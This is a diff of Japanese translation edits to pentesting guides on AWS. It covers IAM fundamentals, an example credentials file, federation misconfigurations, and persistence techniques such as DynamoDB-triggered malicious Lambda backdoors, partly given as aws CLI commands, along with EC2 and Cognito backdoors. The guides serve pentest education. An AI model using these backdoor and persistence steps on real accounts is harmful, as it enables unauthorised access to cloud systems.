-IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
+IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度にアタッチする**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。
 
-**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**（リソースベースのポリシーなど）内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
+**ユーザーグループにアイデンティティベースのポリシーをアタッチ**することで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取ります**。**ユーザーグループ**を**ポリシー**（リソースベースのポリシーなど）内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。
 
-ユーザーグループのいくつかの重要な特徴は次のとおりです：
+ユーザーグループの重要な特徴は以下の通りです：
 
-- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。
+- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができます**。
 - **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。
-- **すべてのユーザーを自動的に含むデフォルトのユーザーグループはAWSアカウントには存在しません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
+- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループはありません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
 - AWSアカウント内のIAMリソースの数とサイズ（グループの数や、ユーザーがメンバーになれるグループの数など）は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。
 
 ### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**（パスワードやアクセスキー）が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人（十分な権限を持つ人）が引き受けることを意図しています**。IAMユーザーは、特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMの代わりに外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
+IAM **ロール**は**ユーザー**に非常に**似ています**。それは、AWSで何ができるかを決定する**権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**（パスワードやアクセスキー）が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています（十分な権限がある場合）**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を持つことができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
 
-IAMロールは**2種類のポリシー**で構成されています：**信頼ポリシー**（空であってはならず、**誰がロールを引き受けることができるかを定義**）と、**権限ポリシー**（空であってはならず、**何にアクセスできるかを定義**）。
+IAMロールは、**2種類のポリシー**で構成されています：**信頼ポリシー**（空であってはならず、**誰がロールを引き受けることができるかを定義**）と、**権限ポリシー**（空であってはならず、**何にアクセスできるかを定義**）。
 
 #### AWSセキュリティトークンサービス（STS）
 
-AWSセキュリティトークンサービス（STS）は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に次の目的に特化しています：
+AWSセキュリティトークンサービス（STS）は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に以下の目的に特化しています：
 
 ### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報を要求できます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
+**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
 
 ### ポリシー
 
@@ -163,11 +165,11 @@ AWSセキュリティトークンサービス（STS）は、**一時的で制限
 
 権限を割り当てるために使用されます。2種類あります：
 
-- AWS管理ポリシー（AWSによって事前構成されたもの）
-- カスタマー管理ポリシー：あなたが構成したもの。AWS管理ポリシーに基づいてポリシーを作成できます（そのうちの1つを修正して独自のものを作成する）、ポリシージェネレーターを使用する（権限を付与および拒否するのを助けるGUIビュー）または独自に作成することができます。
+- AWS管理ポリシー（AWSによって事前設定されたもの）
+- カスタマー管理ポリシー：あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます（そのうちの1つを修正して自分のものを作成する）、ポリシージェネレーターを使用する（権限を付与および拒否するのを助けるGUIビュー）または自分で書くことができます。
 
-**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\
-**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト（デフォルトで許可されている）は除きます。
+**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\
+**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエスト（デフォルトで許可されている）は除きます。
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -190,31 +192,31 @@ AWSセキュリティトークンサービス（STS）は、**一時的で制限
 ]
 }
 ```
-The [グローバルフィールドは、任意のサービスで条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
-[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
+[グローバルフィールドは、任意のサービスの条件に使用できることが文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
+[サービスごとに条件に使用できる特定のフィールドはここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
 
 #### インラインポリシー
 
-この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\
-インラインポリシーは、ポリシーとそれが適用されるアイデンティティとの間に**厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
+この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\
+インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
 
 #### リソースバケットポリシー
 
-これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
+これらは**リソースに定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
 
 もし主がそれらに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。
 
 ### IAMバウンダリー
 
-IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、彼がそれらを使用しようとすると操作は**失敗**します。
+IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。
 
 バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。
 
-**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
+**これ**、**SCP**および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
 
 ### セッションポリシー
 
-セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります：これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**（最大の権限はロールが持つものです）。
+セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**です：これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**（最大の権限はロールが持つものです）。
 
 これは**セキュリティ対策**に役立ちます：管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。
 ```bash
@@ -224,18 +226,18 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-注意してください、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト（強化された認証を使用）で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
+注意として、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは、他の理由から生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで（強化された認証を使用して）、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
 
-したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。
+したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです。
 
 ### アイデンティティフェデレーション
 
-アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにし、正当なIAMユーザーアカウントのAWSユーザー資格情報を提供する必要がありません。\
+アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにします。これにより、正当なIAMユーザーアカウントからAWSユーザー資格情報を提供する必要がなくなります。\
 アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**（**SAML**経由）や**OpenID**サービス（**Google**など）があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。
 
-この信頼を構成するために、**IAMアイデンティティプロバイダー（SAMLまたはOAuth）が生成され**、**他のプラットフォームを信頼する**ことになります。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに（信頼される）割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
+この信頼を構成するために、**IAMアイデンティティプロバイダー（SAMLまたはOAuth）が生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに（信頼される）割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
 
-ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。したがって、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
+ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
 
 <figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
 
@@ -243,7 +245,7 @@ aws sts assume-role \
 
 AWS IAMアイデンティティセンター（AWSシングルサインオンの後継）は、AWSアイデンティティおよびアクセス管理（IAM）の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。
 
-ログインドメインは`<user_input>.awsapps.com`のようになります。
+ログインドメインは、`<user_input>.awsapps.com`のようになります。
 
 ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります：
 
@@ -253,28 +255,28 @@ AWS IAMアイデンティティセンター（AWSシングルサインオンの
 
 <figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
 
-アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
+アイデンティティセンターのディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
 
 アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。
 
 #### AwsSSOInlinePolicy
 
-**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
+**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
 
 したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。
 
 ### クロスアカウントの信頼とロール
 
-**ユーザー**（信頼する側）は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**（信頼される側）に**自分のアカウントにアクセスすることを許可できますが、**新しいロールポリシーで示されたアクセスのみを持つことになります**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
+**ユーザー**（信頼する側）は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**（信頼される側）に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
 信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。
 
 ### AWS Simple AD
 
-サポートされていない：
+サポートされていないもの：
 
 - 信頼関係
 - AD管理センター
-- 完全なPS APIサポート
+- フルPS APIサポート
 - ADリサイクルビン
 - グループ管理サービスアカウント
 - スキーマ拡張
@@ -286,10 +288,10 @@ AWS IAMアイデンティティセンター（AWSシングルサインオンの
 
 ### その他のIAMオプション
 
-- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。
-- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報（ユーザー作成時間、パスワードが有効かどうかなど）を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
+- **パスワードポリシー設定**を設定することができます。最小長やパスワード要件などのオプションがあります。
+- **「資格情報レポート」をダウンロード**することができ、現在の資格情報に関する情報（ユーザー作成時間、パスワードが有効かどうかなど）を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
 
-AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。
+AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか**、およびどの条件下でアクセスできるかを指定できます。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保**します。
 
 ### IAM IDプレフィックス
 
@@ -307,7 +309,7 @@ AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体
 | APKA | 公開鍵                                                                                                                                                                                                           |
 | AROA | ロール                                                                                                                                                                                                                 |
 | ASCA | 証明書                                                                                                                                                                                                          |
-| ASIA | [一時的（AWS STS）アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーとセッショントークンと組み合わせた場合にのみ一意です。 |
+| ASIA | [一時的（AWS STS）アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーおよびセッショントークンと組み合わせた場合にのみ一意です。 |
 
 ### アカウントを監査するための推奨権限
 
@@ -327,7 +329,7 @@ AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体
 ### CLI認証
 
 通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\
-そのファイルには複数のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\
+そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**`[default]`**と呼ばれるものがそのファイルで使用されます。\
 複数のプロファイルを持つ資格情報ファイルの例：
 ```
 [default]
@@ -339,9 +341,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
 aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
 region = eu-west-2
 ```
-もし**異なるAWSアカウント**にアクセスする必要があり、あなたのプロファイルが**それらのアカウント内でロールを引き受ける**アクセスを与えられている場合、毎回手動でSTSを呼び出す必要はありません（`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`）し、資格情報を設定する必要もありません。
+異なる **AWS アカウント** にアクセスする必要があり、あなたのプロファイルが **それらのアカウント内でロールを引き受ける** アクセスを与えられている場合、毎回手動で STS を呼び出す必要はありません (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) と資格情報を設定する必要はありません。
 
-`~/.aws/config`ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り`--profile`パラメータを使用できます（`assume-role`はユーザーにとって透過的に実行されます）。\
+`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り `--profile` パラメータを使用できます（`assume-role` はユーザーにとって透過的に実行されます）。\
 設定ファイルの例:
 ```
 [profile acc2]
@@ -351,11 +353,11 @@ role_session_name = <session_name>
 source_profile = <profile_with_assume_role>
 sts_regional_endpoints = regional
 ```
-この設定ファイルを使用すると、aws cliを次のように使用できます:
+この設定ファイルを使用すると、次のようにaws cliを使用できます:
 ```
 aws --profile acc2 ...
 ```
-もしあなたが**ブラウザ**用の**類似**のものを探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。
+ブラウザ用のこれに**似た**ものを探している場合は、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) をチェックしてください。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md

@@ -10,7 +10,7 @@ SAMLに関する情報は以下を確認してください：
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
 {{#endref}}
 
-**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成（**エンドポイント**、**公開鍵**を含む**証明書**）を含む**メタデータXML**を提供するだけです。
+**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成（**エンドポイント**、**公開鍵を含む証明書**）を含む**メタデータXML**を提供するだけです。
 
 ## OIDC - Github Actions Abuse
 
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
 # Create an Identity Provider for an EKS cluster
 eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ```
-**OIDCプロバイダー**を**EKS**クラスターで生成することは、クラスターの**OIDC URL**を**新しいOpen IDアイデンティティプロバイダー**として設定するだけで可能です。これは一般的なデフォルトポリシーです：
+**EKS** クラスターで **OIDC プロバイダー** を生成することは、クラスターの **OIDC URL** を **新しい Open ID アイデンティティプロバイダー** として設定するだけで可能です。これは一般的なデフォルトポリシーです：
 ```json
 {
 "Version": "2012-10-17",
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ]
 }
 ```
-このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ということになります。
+このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ことになります。
 
 **どのサービスアカウントがロールを引き受けることができるかを指定するためには、** **サービスアカウント名が指定される** **条件** を指定する必要があります。
 ```bash

src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md

@@ -1,4 +1,4 @@
-# AWS - Permissions for a Pentest
+# AWS - Pentestのための権限
 
 {{#include ../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -10,21 +10,21 @@
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### リソースポリシー
+### Resource Policy
 
 APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
 
-### Lambdaオーソライザーの変更
+### Modify Lambda Authorizers
 
-Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
+ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
 または、オーソライザーの使用を単に削除します。
 
-### IAM権限
+### IAM Permissions
 
 リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
 または、オーソライザーの使用を単に削除します。
 
-### APIキー
+### API Keys
 
 APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
 または、APIキーの使用を単に削除します。

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -18,10 +18,10 @@ Cognitoは、認証されていないユーザーと認証されたユーザー
 - 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
 - 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
 - または与えられたロールの**権限を向上させる**
-- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する
+- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で
 - **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
 
-これらのアクションを実行する方法を確認してください：
+これらのアクションを実行する方法を確認してください
 
 {{#ref}}
 ../aws-privilege-escalation/aws-cognito-privesc.md

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -12,7 +12,7 @@
 
 ### DynamoDB トリガーと Lambda バックドア
 
-DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
+DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
@@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \
 --event-source <STREAM_ARN> \
 --region <region>
 ```
-永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。
+持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。
 
 ### DynamoDBをC2チャネルとして使用する
 

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -12,13 +12,13 @@
 
 ### セキュリティグループ接続追跡持続性
 
-防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
+防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
 
 攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
 
 ### EC2ライフサイクルマネージャー
 
-このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\
+このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\
 攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
 
 ### スケジュールされたインスタンス
@@ -27,21 +27,21 @@
 
 ### スポットフリートリクエスト
 
-スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
+スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
 
 ### バックドアインスタンス
 
 攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます：
 
-- 例えば、従来の**ルートキット**を使用する
+- 伝統的な**ルートキット**を使用する例
 - 新しい**公開SSHキー**を追加する（[EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認）
-- **ユーザーデータ**をバックドア化する
+- **ユーザーデータ**にバックドアを仕掛ける
 
 ### **バックドア起動構成**
 
-- 使用されるAMIをバックドア化する
-- ユーザーデータをバックドア化する
-- キーペアをバックドア化する
+- 使用されるAMIにバックドアを仕掛ける
+- ユーザーデータにバックドアを仕掛ける
+- キーペアにバックドアを仕掛ける
 
 ### VPN
 

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -4,7 +4,7 @@
 
 ## ECR
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
